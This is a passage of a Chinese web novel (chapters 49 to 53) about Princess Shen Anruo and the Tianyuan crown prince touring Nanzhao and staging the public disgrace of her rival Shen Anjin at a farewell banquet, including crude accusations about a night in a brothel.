怎么办?凑这么近,好想伸手捏一下,沈安若是这么想的,也是这么做的,伸手就摸上了商玄澈的脸,眼神几乎拉丝。 看着二人亲昵的模样,傅承越不知道为什么,脑子里就想起来从前,沈安若送自己礼物的模样,若是没有替嫁的事情,那如今站在她眼前的,是不是就是自己? 看着傅承越目光一直看着沈安若,沈安锦偏头看着他。 “承越哥哥………” 见他没有反应,沈安锦提高了声音。 “承越哥哥!” 傅承越这才回神,看着沈安锦开口。 “怎么了锦儿?” 沈安锦看着他开口。 “承越哥哥是不是后悔了?” 傅承越一副不明所以的样子。 “什么?” 沈安锦一脸委屈的开口。 “ 承越哥哥后悔娶我了是不是?” “如果你当初娶的是沈安若,说不一定现在就是驸马了。” 傅承越闻言眉头一皱。 “你不要胡思乱想,我没有后悔,我与沈安若已经是过去式了,而且我与她除了有过定亲之外,别的都没有什么,这些年你也是知道的,就算去沈家,也是与你相处的时间比较多。” 沈安锦闻言眼里却是不相信。 “可是她现在是公主了,而我就是一个平民,一个无足轻重的平民。” 自从成亲以后,一直都是各种闹腾,傅承越只感觉有一些心力交瘁,伸手拉住沈安锦的手。 “好了,锦儿,你不要再胡思乱想了,我跟你保证,你是沈家的女儿也好,是养女也罢,又或者是平民百姓,都没有关系,你都会是我的世子夫人。” “你平复一下情绪,若是回去,父亲母亲,问起来,你可不要再说针对沈安若的话,不然父亲会生气的。” 此时的马车已经与沈安若商玄澈拉开了距离,沈安锦远远的看着沈安若拿起一串糖葫芦喂给商玄澈。 气愤的拉下车帘子。 凭什么? 到底凭什么啊? 凭什么沈安若就过得这么好,自己现在就像是过街的老鼠,遭人嫌弃。 恨! 滔天的恨意几乎要将沈安锦淹没。 此时的商玄澈看着眼前的糖葫芦,忍不住微微皱眉,自己可没有吃过街边东西的习惯。 沈安若见状哄着他开口。 “哎呀,你就尝一小口嘛,相信我真的很好吃的。” 说着自己又咬了一口,但是却留下来半颗糖葫芦,朝商玄澈递去。 “诺,我尝过了,没有毒的,放心吃吧。” 看着她咬了一半的糖葫芦,商玄澈嘴角勾起一抹无奈的笑意,最终还是张嘴轻轻咬了一口。 那甜蜜中带着一丝酸酸的味道在口腔中蔓延开来,竟意外地让他觉得还不错。他看向沈安若,眼中闪烁着温柔的光芒。 “确实挺好吃的。” 沈安若见他终于肯尝试,笑得像个孩子。“看吧,我没骗你吧!这南诏的小吃,可都是一绝呢。” 随即再次拿起一串糖葫芦塞进他的手里,然后拉起他的另外一只手朝前走去。 “走,我们在逛逛,再尝尝别的,然后晚上的时候带体验南诏的火把节。” 商玄澈看了一眼手中的糖葫芦,无奈的被她带着往前走。 翡儿上前拿出银子给小贩。 苍术与陈先生看着二人的背影,相视一眼,笑了笑跟上去。 殿下这么多年基本上都冷着脸,今天已经看到殿下笑了好多次,看来真的是要有女主人了。 沈家书房。 柳依依被再三阻拦进去见沈一山,不甘心的在书房外大喊。 “沈一山,你出来,你将锦儿就这么赶出去了,是不是应该给我一个交代?” “这些年以来,我替你打理着沈家,没有功劳也有苦劳吧?” “你明知道我对锦儿有多在乎,你怎么就如此的绝情?” “非要我说吗?” “锦儿可不只是我一个人的女儿,她也是………” 书房的门一下子打开。 沈一山冷冷的看了一眼柳依依。 “进来。” 柳依依进了门。 看着沈一山,脸上带着明显的怒意。 “老爷,当年我一个女子带着锦儿,让锦儿吃了不少的苦,好不容易我们才回到你的身边,你说过会好好的补偿我们,你就是这么补偿的吗?” “一个出嫁的女子,有娘家作为依靠是多么的重要,你现在写了断亲书,你让锦儿如何在侯府立足?” 沈一山听了无奈的开口。 “锦儿是我们的第一个孩子,我又何尝不心疼?” “这些年以来,我对她多好,你也应该是看在眼里的,可是最近她闹出的事情实在太多了,依依,我知道你生气,可是现在安昕已经知道了锦儿的身份,若是当年的事情闹出的,对我们来说就是灾难。” 柳依依听了差异一下。 “沈安昕怎么知道的?” 沈一山沉声开口。 “我也不知道她怎么知道,但是若不把锦儿赶出去,安昕闹起来,整个沈家都有可能完了,依依,我们不是只有锦儿一个孩子,我们还有宇儿。” “就算没有了沈家,锦儿她还是世子夫人,以世子对她的情谊,以后的日子也不会难过的,你若是心疼她,私下里悄悄走动,给她送一些东西便是,要是沈家倒了,我们的宇儿怎么办?” 柳依依听了却看着沈一山。 “到底还是宇儿怎么办?还是老爷你的仕途怎么办?” “当年你为了仕途,让我留在老家,好不容易我等你高中,传回来的却是你娶了公主的消息,我来到南都寻你,却只能当一个见不得光的外室。” “我熬啊熬,熬到公主死了,好不容易带着锦儿进了府,你现在又为了仕途抛弃锦儿,沈一山,这是你第二次抛弃锦儿了。” 忠勇侯府。 傅承越与沈安锦一回来就回到了自己的院子,只想尽量避着忠勇侯,不让府里知道自己被打板子的事情。 可是天不遂人愿。 忠勇侯身边的丫鬟来了院子里。 “世子,世子夫人,侯爷让二位去大厅。” 二人相视一眼,沈安锦忍不住有一些紧张。 傅承越拍了拍她的手背。 “走吧。” 侯府大厅里。 忠勇侯看着小厮撕回来的断亲书,一脸的阴沉。 大家族的婚姻都是有联姻性质,为的就是家族之间相互扶持,本来沈安锦是养女就让人很不满意了,现在连一个养女的身份都没有了,那她和那些寻常的民间女子又有什么区别? 堂堂侯府世子居然娶了一个民间的女子,简直就是天大的笑话。 “这东西是什么时候出现的?” 身边的小厮低头开口。 “从下午开始,这份断亲书就陆陆续续的在各地方贴上了,这是小人在侯府的对面看到的,贴了好多份呢。” 看来是有人特意想让自己知道啊。 傅承越与沈安锦走了进来。 “父亲…………” 忠勇侯抓起桌子上的断亲书扔在二人面前。 “解释一下吧,这是怎么回事?” 第四十九章 让他开心的人 沈安锦身形一颤,目光闪烁不定,她求救般地看向傅承越。 这断亲书怎么会出现在侯府? 傅承越也懵了。 “父亲,这断亲书是哪里来的?” 忠勇侯怒斥道。 “哪里来的?” “现在整个南都的大街小巷都贴遍了。” 沈安锦一下子就反应了过来,该死,沈安昕就跟沈安若都该死,这一定是沈安昕做的。 沈安若看了看手中的断亲书,内容是没错,但是这并不是父亲的字迹。 “父亲,这其中肯定有什么误会,这并不是我父亲的字迹,或许是有人想故意陷害儿媳,所以故意将这…………” 忠勇侯在朝堂上多年,她的这点小心思再明显不过了,无非就是想先蒙混过关。 “行了。” “你也不用强行解释,沈家可是南都的权贵,若是断亲的事情是空穴来风,没有人敢把这种东西贴满大街小巷,更何况断亲这种事情官府都要备份的,明日派人去官府问一声就真相大白了。” 沈安锦眼泪在眼眶里打转,声音颤抖。 “父亲,我真的不知道为什么会这样,明明昨日我昨日在沈家都还跟父亲一起吃饭的………” 忽然一副想起来什么的模样。 “父亲,我知道了。” “这一定是沈安若,她记恨当初替嫁的事情,所以她现在仗着自己的公主身份逼迫我的父亲写下断亲书,我父亲肯定是迫于无奈,这才…………” “父亲,沈安若很快就会离开南都的,到时候我依旧是沈家的女儿,甚至我还会是沈家的嫡长女。” “毕竟沈安若与沈安昕离开以后,沈家就轮不到他们在说什么了。” 傅承越也急忙开口。 “对,父亲,肯定是沈安若利用权势逼迫,想想嫁妆的事情,沈家怕锦儿委屈,嫁妆都毫不犹豫的又补了一份,可见对锦儿的疼爱,这些年,沈夫人更是不论走到哪里都带着锦儿,锦儿才是沈家最看重的姑娘。” “现在沈家只不过是因为沈安若的身份有所顾忌,等到沈安若离开了南都,锦儿沈家嫡长女的身份就会名正言顺。” 忠勇侯听了看了看二人,想到了沈安若那睚眦必报的性子,的确也不排除这种可能。 “沈安锦,希望你没有撒谎,一个养女当世子夫人已经够侯府丢脸了,你要是连沈家养女都不是了,你当不了承越的世子夫人。” 转而目光看向傅承越。 “承越,你作为世子,娶妻不慎,已是大错,父亲已经容忍你好多次了,耐心有限,希望你以后懂得好自为之。” 又是身份,又是身份,身份这两个字就要压自己一辈子吗?沈安若指甲都掐进了手心,眼眶中的眼泪在打转,紧紧的咬着牙齿低头。 南都的一个广场上。 这里是南都百姓举行火把节欢舞的地方,正常来说,南诏的火把节一年一次。 但是因为南都是南诏的国都,这里聚集了南来北往得人,甚至有不少别国的商人来到南都体验南诏的风土人情,为了体现南诏的民族文化,南都每一天晚上都会有火把节。 火把节开始,百姓们拉着手围成了一圈又一圈的载歌载舞。 商玄澈看着这热闹的场景,眼中闪过一抹兴味盎然。他从未见过如此热烈而淳朴的民俗活动,每一个参与其中的人都洋溢着真挚的笑容,仿佛所有的烦恼在这一刻都被火光所融化。 沈安若知道他身份,不可能去拉别人的手拉过苍术的放在商玄澈手里,然后拉着他进入载歌载舞的人群,大声的第一个姑娘开口。 “姑娘,我们也想要加入。” 姑娘露出来一个大方的笑容,放开了同伴的手伸手与沈安若拉起了手。 另外一个人见状拉起了苍术手,几人很快融入到舞蹈中。 有人唱着民族歌曲,有人吹着笛子附和着,有人在弹琴,广场上一片又一片的欢乐声。 沈安若跟着大家跳得欢乐弟弟笑着,或许是被他的笑容感染,商玄澈嘴角也忍不住勾起一抹笑意,模仿着她的动作跟着一起跳舞。 目光时不时的看着她的脸,她到底还有多少惊喜等着自己。 苍术看着融入到了百姓中的商玄澈,眼里带着一抹不可置信,自己居然跟殿下牵手跳舞了?但是很快就被身边的人带动。 “兄弟,快跳起来。” 陈先生站在远处,手中拿着一把扇子摇曳着,看着载歌载舞的几人,脸上带着欣慰的笑容,殿下终于有一个可以让他开心的人了。 陆家。 今日是陆夫人出殡的日子。 可是牌位上写的却不是陆夫人,而是陆今也之母杨叶桐。 陆今也在灵堂上拿出一封和离书。 “父亲,劳烦你签字吧,今日以后,母亲与你就再无关系了。” 陆言看着和离书,脸上带着一抹震惊,随即一脸的怒意。 “孽子,你这又要闹什么?” “这几日不是事事都如你的心意了吗?” 听着他责骂的声音,陆今也嘲讽的笑了一声。 “若不是公主,只怕我的母亲今日不是在这灵堂之上,而是在乱葬岗吧!” “父亲,我知道你注重颜面,这份和离书是我代替母亲写的,你签了,母亲马上出殡,我也不想闹得大家难堪。” 陆言听了直接将手中的和离书撕成碎片。 “逆子,你的母亲已经去了,你还想将她变成弃妇,你这是大逆不道,忤逆不孝。” 陆今也再次拿出来一封和离书。 “我就知道父亲你不会轻易签字,所以昨夜多写了几封,父亲,这是和离书,母亲也不是弃妇,再闹下去,我只会让陆家更难看。” 这是在威胁自己,陆言抬手就朝陆今也打去。 “逆子,怎么会生出你这个…………” 站在陆今也身后的玉儿说话了。 “陆大人。” 陆言举在空中的手停下,看着陆今也,眼神不像是在看自己的儿子,而是像看一个仇人,偏偏又拿这个仇人无可奈何。 玉儿继续开口。 “公主说过了,这几日,请陆家按照陆公子的意思办事,算一算时间,公主也要准备启程前往天元了,陆大人还是赶紧让陆公子的母亲出殡,陆公子也好收拾一番去见公主。” 第五十章 好戏要开场了 陆言闻言,脸色铁青,拳头紧握,却不敢再轻举妄动。 毕竟陆家在凰仪公主面前就是一个屁。 “好,好,很好!”陆言连说了三个“好”字,每一个字都像是从牙缝中挤出,“陆今也,你翅膀硬了,竟敢威胁为父!今日,我就如你所愿!” 说完,陆言接过和离书,颤抖着手签下了自己的名字。 当然这手之所以颤抖纯粹就是被气的。 陆今也接过签好的和离书收了起来,转身抱起母亲的牌位。 “母亲,你自由了,儿子带你离开这个肮脏之地。” 听着他如此说话,陆言气得发抖。 “你…………” 陆家怎么就成为肮脏之地了? 周氏眼里闪过一抹得意,陆今也与陆言闹成这样,还要跟着公主前去天元,最好以后再也不要回来陆家了,这样陆家就是自己儿子的了。 孟家。 因为孟穗禾主张的宴会,说是给凰仪公主的送别,整个南都年轻一代的贵女公子都来了。 不得不说孟穗禾还真是尽心尽力,孟家的花园里摆满了桌子。 上面摆满了茶点。 众人差不多到齐以后,沈安若才与商玄澈并肩而来,沈安昕落后了一步跟着。 王司记等伺候的人跟在身后,威仪十足。 孟穗禾带着众人起身。 “见过天元太子,见过凰仪公主。” 然后又朝沈安昕打招呼。 “沈大小姐。” 沈安若拉着沈安昕朝主位的方向走去。 “诸位姐妹公子免礼。” 众人这才起身。 “多谢公主殿下,多谢天元太子。” 众人落座以后,孟穗禾就笑着开口。 “天元太子殿下玉树临风,气质更是傲视群雄,凰仪公主倾国倾城,风华绝代,真的是天造地设的一对,你们就往这一坐,就让我们看得赏心悦目。” 周织梦也笑着开口。 “是啊,太子殿下与公主殿下郎才女貌,我还是这么多年第一次见,站在一起或者坐在一起就如此登对的人。” 这二人不愧是手帕之交,说话都一样的好听。沈安若笑着看向二人。 “你们今日的小嘴是抹了蜜了吗?一个个说话都这么甜。” 其她人因为与沈安若并不太熟悉,一时间只能一脸笑意的看着,不敢随意的插话。 孟穗禾继续笑着开口。 “我们可说的都是真心话。” 随即与周织梦对视一眼。 然后继续开口。 “我们都知道不日以后公主就要与太子殿下前往天元了,这两日我们也知道,太子殿下与公主一同游玩,感情也在升温,我们相信等公主到了天元以后,太子殿下也能够照顾好我们的公主殿下的。” “可公主到底是南诏土生土长的,即便有温柔体贴的夫君在身旁,恐怕也会有思念家乡的时候,所以今日我给公主殿下准备了一份薄礼,往后公主殿下要是思念我们了,也可以拿出来一解相思。” 随即拿出一个盒子奉上。 “公主,这是一套金翅鸟首饰,发簪,发钗,项链,手镯,金翅鸟在南诏意寓着守护,希望以后他能够代替我守护在公主的身边,保公主安康。” 纯金打造的,这得多少钱?这个穿越太值得了,发达了,沈安若眼睛都忍不住亮了亮。 “孟姐姐真的是有心了,等本宫到了天元以后一定会想念你的,若是有机会也给你送一点天元的特色回来。” 孟穗禾朝她眨了眨眼睛,似乎在说。 喜欢吧,你看我就知道,你就这点爱好。 “那臣女就等着公主殿下的回礼了,毕竟臣女可能这辈子都不会离开南诏了,若是能够见识到天元大国的东西,也算是长了几分见识。” 周织梦则示意人搬了一个箱子上来。 “公主殿下,臣女母亲是做生意的,臣女也就是一个俗人,今日公主殿下肯定能够收到各式各样的首饰,为了能够让公主对臣女印象深刻一些,臣女就稍微特别一点吧。” 然后示意人打开了箱子。 “异国他乡公主殿下最需要的就是银子金子,这里是一千两黄金,就当臣女与家母给公主添嫁妆了。” 不是?这么大方的吗?虽然自己让孟穗禾办这个宴会的确有收礼的意思,但是也没想到收这么多啊,一千两黄金啊,这要是在现代自己就实现财富自由了,沈安若看了看黄金又看了看周织梦。 “你这礼物会不会太贵重了一些?” 周织梦笑着开口。 “能够让公主展颜一笑,就是这些黄金的福气。” 随即朝天元太子福身。 “太子殿下,臣女说一句冒犯的话,这两日我们都看得出来,太子殿下是敬重我们的公主殿下的,我们都希望公主殿下能够与太子殿下白头到老,幸福一生,可是我母亲说过,人的一辈子变数太大了。” “若是有一天,太子殿下对我们的公主殿下不如现在这般喜欢了,还请太子殿下能够看到南诏的份上给我们公主尊重,这是我们南诏最宠爱的公主,我周织梦愿意养公主一辈子。” 沈安若听得嘴角抽了抽,看着孟穗禾。 她这么勇的吗? 孟穗禾眨了眨眼睛。 她家有钱,很多很多的钱,她平日里就是一个败家子。 商玄澈看了看这一院子的人,一眼就看出来这里聚集了南诏大臣家里重要的孩子,这是变相的给南诏公主撑腰呢。 伸手握住沈安若的手。 “放心吧,本宫会照顾好你们的公主的,她不只是你们南召的珍宝,也是本宫的妻子,将来不管岁月如何更替,本宫都会敬她爱她。” 周织梦闻言又一脸笑意的福了福身。 “那我们就多谢太子殿下对我们公主的照顾了。” “我的理想是将我母亲手中的生意发扬光大,若是有机会前往天元,一定会去看望公主殿下。” 周织梦这一千两黄金送得太多,让其他人的礼物有些拿不出手的感觉,孟穗禾站起来与孟家的一个小姐交换了一个眼神。 “诸位,今日我们聚在一起,是为了给公主殿下送别,礼物不分贵重,都是一片心意。” 刚刚与孟穗禾交换眼神的孟家小姐上前。 “公主殿下,这是一枚凤凰玉佩,是南诏古玉雕刻的,希望公主喜欢。” 嗯,礼物终于正常起来了,要是谁都来一个大手笔,就要吓到自己了。 沈安若笑着接过。 “这玉佩精致好看,本宫很喜欢,多谢孟二小姐。” 其他人见状也纷纷上前奉上自己的礼物。 “公主殿下,这是红玉手镯……………” “公主殿下,我给你准备了一套白族的服饰…………” “公主殿下……………” 坐在远处的沈安锦见状,眼里的嫉妒疯长,静静的握着手中的茶杯,满眼的不甘心。 傅承越见状无奈的叹了一口气。 “若是不喜欢就不要看了。” 却又抬头忍不住将目光看向沈安若那边,她居然让这么多人喜欢吗? 直到众人送礼完毕,沈安锦也没有上前送礼,沈安若也没有计较。 孟穗禾笑着站起来。 “诸位,现在正好是夏日,孟家的荷花开的不错,大家可以结伴或者独自前往观赏,我已经让人在准备膳食了,等到开席我再安排人喊大家。” 很快众人散去。 丫鬟也上前将桌子上的瓜果茶点撤下。 孟穗禾靠近沈安若。 “公主,你让我办这么一场宴会,不会真的只是……………” 沈安若凑近她的耳边。 “让你让张屠夫送肉,你安排了吗?” 孟穗禾急忙点头。 “安排了,人留在厨房那边吃茶呢。” 沈安若闻言嘴角勾起一抹笑意,真正的好戏要开场了。 “让人带他去跟沈安锦碰碰面。” 第五十一章 身败名裂 孟家不愧是贵妃的母家。 偌大的池塘里开满了荷花,就这花园的布置就不简单。 要不是因为给凰仪公主办送别宴,只怕许多人都无缘进来观看。 众人三五成群的在一起赏荷花谈诗词歌赋,已有人聚在一起聊天八卦。 沈安锦从头到尾脸上就没有一点的笑意,也没有主动与任何人交谈。 毕竟现在不论是谁聊天都离不开凰仪公主几个字。 忽然几个贵女上前。 “又不是世子夫人吗?” “见过世子夫人。” 终于有人看得见自己的存在了,沈安锦以前跟着柳依依出场各种场合,对南都的贵女倒是也都算熟悉。 “原来是冯小姐,钱小姐,周小姐。” 然后回了一礼。 周织梦是知道沈安若没有当上公主之前在沈家的遭遇的,此时看沈安锦就感觉十分的不顺眼,一个养女本来就鸠占鹊巢了,还抢了人家嫡女的婚事,这种人跟后院的那些庶女有什么区别? “世子夫人,今日是给凰仪公主的送别宴会,我们都给公主送了礼物,我看世子夫人你好像都没有给公主送礼物,是不愿意吗?” 她沈安若都收了那么多的礼物了,怎么还要惦记自己的东西?沈安锦捏了捏衣袖。 “我们都是沈家的女儿,这送礼物自然是私下里给的。” 呸,果然是一个不要脸的,沈家给她断亲的事情早已贴满大街小巷了,现在还谈什么都是沈家的女儿,周织梦露出一抹嘲讽的笑意。 “世子夫人莫不是忘了,沈家已经跟世子夫人断亲了呢,看来世子夫人很舍不得沈家女儿这个身份啊,也是,毕竟你能够得到世子夫人这一个称呼,也是仗着沈家女儿这几个字抢来的,现在不是沈家的养女了,不知道你这世子夫人的位置是否还坐得稳?” 其她几人看着沈安锦脸上也都带着嘲讽,这种抢姐妹婚事的事情屡见不鲜,一般都是家中的庶妹想要谋一条出路,这庶妹到底还是留着同一个爹的血,这一个养女算什么东西?居然抢抢正儿八经嫡女的婚事。 自己好歹也是世子夫人,哪能容忍这些贱人对自己冷嘲热讽,沈安锦脸色一冷。 “这世子夫人的位置,我坐得稳与不稳就不劳烦诸位操心了,可是我只要还是世子夫人一天,你们见了我不也得乖乖的喊一声世子夫人吗?” 几人听了面面相觑,周织梦会心一笑,这沈安锦还真不是一个善茬,不过没关系,自己也不是真的过来嘲讽人的。 一抬眼只见一个小厮带着一个微胖的中年男子过来,周织梦笑着开口。 “果然不愧是世子夫人,这说话都带着几分气势,不过是姐妹们聚在一起说几句玩笑话罢了,世子夫人莫要放在心上。” 沈安锦看着几人,这都是沈安若的爪牙,心里的怒火直接忍不住。 “开玩笑?要大家觉得好笑那才是开玩笑,若是一方洋洋得意,一方平白无故受了气,那就不叫开玩笑了,应该叫说话没脑子。” 忽然一道声音响起。 “是你?” 只见张屠夫一脸惊喜地走过来,伸手就要去拉沈安锦的手。 “姑娘,那日一别,就再也没有见过姑娘,我去了青楼找过了,也没有找到姑娘。” 沈安锦急忙避开,往后退了一步,心里却一下子慌了起来,他怎么会在这里?母亲不是说了会解决她的吗? “你是谁?在胡言乱语一些什么?我乃是侯府的世子夫人,怎么可能与你认识?” “你莫不是得了失心疯认错了人?” 张屠夫闻言直溜溜的看着沈安锦。 “我不可能认错的,我的记性向来都很好,更何况我与姑娘还有那么深厚的缘分。” “姑娘你刚刚说什么?你是世子夫人?” 眼里带着猥琐。 “没想到啊,我那日睡的人居然是世子夫人,这一辈子就算是死也值了。” 张屠夫将那个死字咬重了几分,似乎是在意有所指。 傅承越在一旁眉头紧皱,刚刚几个女子说话的时候,自己身为男子不好插嘴,怎么现在胡乱冒出来的一个男子也敢污蔑自己夫人的清白?厉声呵斥。 “放肆,你可知道随意污蔑世子夫人是什么罪责?” 张屠夫被傅承越的气势一震,脸上闪过一丝怯意,但很快又被一种莫名的兴奋所取代,难怪自己会被人追杀,还险些连累了家里,原来自己睡的人居然真的是世子夫人,那日救下自己的人告诉自己的时候,自己还不敢相信,没想到今日居然在这里居然真的遇见了人。 左右她都要杀自己了,还有什么比这更可怕的吗?想明白以后,张屠夫反而更加肆无忌惮起来。 “罪责?污蔑清白?哈哈,我张屠夫一生光明磊落,哪怕是逛青楼也是正大光明的逛,今日不过是实话实说罢了。” 目光看着沈安锦发白的小脸。 “这位世子夫人,可还记得几个月前,在青楼里,咱们…………” 说到这里,他故意停顿,环视四周,见众人皆是一脸震惊,满意地笑了笑,继续道。 “咱们共度春宵的美妙时光吗?” “那个时候世子夫人可是一声又一声的喊着夫君………………” 沈安锦的脸色已经苍白如纸,她万万没想到,母亲居然没有把这个人处理掉,而且会在这样的场合,以这样不堪的方式出现。 她紧咬着下唇,努力不让自己的慌乱表现出来。 “放肆,哪里来的酒疯子,居然敢在本世子夫人的面前胡言乱语,来人快将这个疯子拉下去……………” 嘶吼到后面甚至已经破音。 “拖出去啊…………” 围观的人开始指指点点。 “这到底是真的还是假的?堂堂世子夫人居然在青楼被人给………” “我感觉可能是真的,你看这个男的说的有鼻子有眼的。” “而且就算他不是沈家的养女,他也是侯府的世子夫人呀,污蔑一个世子夫人,这对于普通人来说,等同于死罪呢。” “可是这沈安锦怎么会去青楼那种地方?” “那种地方不都是男子去的吗?” 傅承越听着四周议论纷纷的话,脸色阴沉如墨,这件事不论是真的还是假的都只能制止,看了一眼张屠夫,这个男人得先控制起来,对身边的两个小子使了一个眼神。 “来人,此人疯言疯语污蔑世子妃清白,抓了送官。” 傅家的小厮准备去拉男子出去。 “哪里来的疯子,居然敢污蔑我们的世子夫人,走,上官府…………” 张屠夫杀了一辈子的猪,身上有的是力气,直接甩开两个小厮。 “是想拉我去见官,还是想杀我灭口?你就是世子对吧?你的夫人腰上有一颗红痣,胸口处也有…………” 第五十二章 你要害死整个侯府吗 此言一出,四周一片哗然,连傅承越的脸色也瞬间变得铁青。 沈安锦只觉得天旋地转,她不敢置信地望着张屠夫,眼中满是震惊与绝望,自己最为隐秘的事情,居然以这种方式被公之于众。 “你……你住口!”沈安锦的声音颤抖,几乎要哭出来,但她仍强忍着泪水。 看着傅承越的脸色,沈安锦急忙拉住他的手袖。 “世子,世子,这个人在污蔑我,他一定是受人指使…………” 傅承越阴沉的看着沈安锦,她身上的痕迹自己是清楚的,如果只是污蔑,为什么这个男的会这么清楚? 沈安锦一脸的慌乱。 “对,沈安若,一定是沈安若…………肯定是他找来的人,我身上的痕迹也是她说的…………” 此时,一道声音响起。 “本宫就说刚刚这耳朵怎么有点发烫?原来是有人要在背后嚼本宫的舌根啊!” 只见沈安若与孟穗禾等人走来。 众人见状,急忙的行礼。 “参见公主殿下,参见天元太子。” 沈安若抬抬手。 “诸位都免礼吧。” 孟穗禾开口道。 “宴席已经准备好了,想着来请大家前往用膳,这里是发生了什么?怎么这般的热闹?” 周织梦开口道。 “我们也听得云里雾里,这位男子刚刚说与世子夫人在青楼欢好,还说出世子夫人身上隐秘的地方有红痣,世子夫人一直只会喊着污蔑清白,这位男子又说得有鼻子有眼的,一时之间倒是让我们不知道该相信谁了。” 看着沈安若脸上淡淡的笑意,沈安锦还有什么不明白的?只怕今日这场宴会就是为了针对自己,一下子冲到了沈安若的面前。 “沈安若,是你对不对?” 说着就伸手去抓沈安若。 “ 你故意找人来陷害我,对不对?” 沈安若往后退了一步,准确的躲过了她的手,王司记已经抓住了她的手腕。 “放肆!敢对凰仪公主不敬。” 沈安锦看了看沈安若,怒吼着。 “沈安若,你就是想毁了我是不是,我告诉你,你今日要是真的毁了我,污蔑了我的清白,我就跟你鱼死网破。” 沈安若目光看向张屠夫。 “你认识本宫吗?” 自己今日不过就是来孟府送一下猪肉罢了,怎么还见到公主这样的大人物?张屠夫愣了愣神,随即摇了摇头。 “不认识………草民第一次见公主………” 沈安若看了一眼沈安锦。 “听见了吗?” “他不认识本宫!” 沈安锦一脸恨意的看着沈安若。 “你现在可是高高在上的公主,这种肮脏的事情,哪里用得着你来做?自然有身边的狗腿子给你做好!” 说着还看了看她身边的孟穗禾。 孟穗禾见状开口道。 “世子夫人这是看着我做什么?” “总不至于你还想将这件事情赖到我的身上吧?” “这是张屠夫,他家的猪肉是出了名的好,不过是今日准备宴会,让他一早送猪肉来罢了,谁知道你身为世子夫人居然跟他有了牵扯?” 沈安若忽然一脸惊讶的看着沈安锦。 “世子夫人,你怎么会忽然出现在青楼那种地方呢?” “本宫好像明白了,是不是因为世子不行?” “所以你只好去那种地方…………” 张屠夫闻言大笑着开口。 “原来是世子不行啊,难怪世子夫人那么饥渴。” “世子夫人也不用说是在下污蔑你的清白,你那日在大街上拉着在下的时候,一脸的烧样,可是许多人都瞧见了的,我这要是出去找一下,还是能找到几个目击证人的。” 沈安若这是将事情做得如此的绝,沈安锦指甲都掐掐进了手心里,看着沈安若,眼中的怒火似乎要喷出来。 “沈安若,你真要我说吗?” “你堂堂公主你做了什么?你心里没有数吗?” 沈安若听了一脸无辜的开口。 “本宫什么也没有做啊。” “这些日子本宫不一直陪着太子殿下吗?” “哪有时间去做什么?” 不能说,这不能说,如果说是沈安若把自己扔在青楼门口的,那就等于承认自己真的被…………可是该怎么办?如果不说,这该死的贱男人也说出来了自己的红痣位置。 张屠夫此时开口了。 “世子夫人,既然你这男人不行,都把你逼得去青楼了,不如你跟了我,虽然只能当一个妾,好歹还能够喂饱你,让你不用再去那种地方………” 沈安锦发出一声尖吼。 “你闭嘴,风言风语的胡说…………” 张屠夫冷笑着开口。 “我是不是胡说,世子夫人心里没有数吗?” “都被我夺烂了,还在这里招摇过市,也不看看你在床上的那股浪当劲……………” 其她的人看着沈安锦,分分嫌弃的离她远一些。 孟穗禾见状与身边的周织梦交谈道。 “你说沈家疼爱她这么多年,怎么会忽然把她赶了出去?” “难不成是因为她去了青楼?” 周织梦一副恍然大悟的模样。 “原来如此,要知道以前的时候,沈夫人可是出席各种场合都带着她的,这忽然就被沈家断亲了,肯定是做出了不要脸的事情,沈家没办法善后,为了沈家的声誉只好跟她断亲。” 商玄澈站在沈安若的身边,看哪里看她。 跟着她还真是好戏不断啊。 目光看了一眼傅承越。 “原来傅世子不行啊!” “若是有那方面的问题,还是要及早的治疗,不然让自己的夫人戴了绿帽子,还让别人笑话!” 这是天元的太子,傅承越牙齿都快咬碎了,却说不出来一句反驳的话。 沈安锦听着这些指指点点的声音,只感觉自己头都要炸了,拔下头上的一只簪子,发疯的朝沈安若冲过去。 “沈安若,既然你不想让我活了,那你就陪着我去死…………” 果然是疯了,都敢来杀自己了,还不等沈安若动手,商玄澈已经抬脚一脚踢在了沈安锦的胸口。 “放肆。” 沈安锦摔在地上一口鲜血吐了出来,抬头就看见众人看着自己的眼神,就像是在看什么脏东西,毁了,一切都毁了,沈家回不去,侯府过了今日以后只怕是也容不下自己,自己南诏永无出头之日了。 既然如此,那就大家都不要好过,就算是死自己,也要让沈安若拔下来一层皮。 “沈安若,你不就是想看着我身败名裂吗?不就是想看着我名声尽毁吗?我成全你啊。” “是,我就是出现在了青楼,我就是已经没有了清白,那还不是拜你沈安若所赐吗?” “你给我下了药,把我扔在青楼门口的不是吗?” “你为了一点小恩小怨…………” 沈安若一眼就看出来了她的心思,笑意盈盈的看着她。 “世子夫人,看来你今日是得了癔症了,本宫为什么要将你扔在青楼?” 沈安昕眼里闪过一抹光芒,冷冷的看着沈安锦。 “胡说,若儿一直都与我在一起,你少在这里发疯攀咬别人,自己做出不要脸的事情,还想找一个人替你背锅吗?” 沈安若目光看向傅承越。 “世子,你不管一管你的夫人吗?” “本宫为什么要将她扔在青楼呢?” 沈安锦一脸的疯魔。 “为什么,既然你非要鱼死网破,那我们就鱼死网破好了。” 目光看向商玄澈。 “太子殿下还不知道吧,你身边这位尊贵的凰仪公主也在青…………” 那件事情绝对不能够查,要是查出来自己与沈安锦给沈安若下药带去了青楼,天元太子还在,整个侯府都得抄家灭族的,傅承越及时的捂住了沈安锦的嘴巴。 “你疯了吗?” “你要害死整个侯府吗?” 第五十三章 贬妻为妾 随即将沈安锦拖了起来。 “太子殿下,公主殿下,贱内忽然得了癔症,在下就先带她回去了!” 随着傅承越将沈安锦拖走,这场闹剧也该收场了。 孟穗禾感叹一声。 “唉,我好不容易凭借自己的能力办一场宴会,没想到居然出了这样的事情,唉,只怕今天又要被母亲责骂了。” “今日的事情闹成这样让诸位见笑了,这沈安锦还真是一个祸害,以前就什么东西都要跟公主争,连公主的婚事都算计到手了,算计到手了自己又不满意,还做出了这样丢人的事情。” 周织梦上前开口。 “一个疯妇罢了,她非要胡搅蛮缠攀要这个攀要那个,我们也只能当她是一条疯狗处理,你就别再自责了。等一下,你母亲要是责怪你,我就帮你说情。” 沈安若笑着开口。 “本宫倒是觉得这场宴会你办的极好的,不论是府中的景致布置,还是准备的瓜果点心,都是用了心的。” 其中一个贵女站了出来。 “是啊,知道我对花生过敏,我坐的位置都没有花生,只有瓜子和一些糕点。” 其他的人也纷纷开口。 “孟小姐的能力我们是有目共睹的,这场宴会操办的很好,而且又让我们目睹了太子殿下和公主殿下的风采,往后若是孟小姐在举办宴会,可要再给我们发一份请帖,让我们都长一长见识,多跟孟小姐学习一番。” 